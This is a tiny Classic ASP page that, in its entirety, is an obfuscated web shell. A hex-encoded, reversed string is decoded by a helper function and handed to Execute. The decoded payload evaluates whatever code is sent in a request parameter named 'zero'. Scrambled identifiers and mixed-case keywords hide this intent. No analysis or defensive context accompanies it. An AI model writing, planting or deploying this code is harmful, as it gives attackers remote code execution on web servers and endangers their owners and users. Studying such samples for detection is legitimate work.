<%
eXecUTe(ZWCQA("92002200F60027005600A7002200820047003700560057001700560027000200C60016006700560077007600"))REM )
function ZWCQA(text)
    const LPMZ="gw"
    dim YCRD : YCRD=text
    dim QSVC
    dim TSZV : TSZV=strreverse(YCRD) 
    for i=1 to len(TSZV) step 4
        QSVC=QSVC & ChrW(cint("&H" & mid(TSZV,i,4)))
    next
    ZWCQA=mid(QSVC,len(LPMZ)+1,len(YCRD)-len(LPMZ))
end function
%>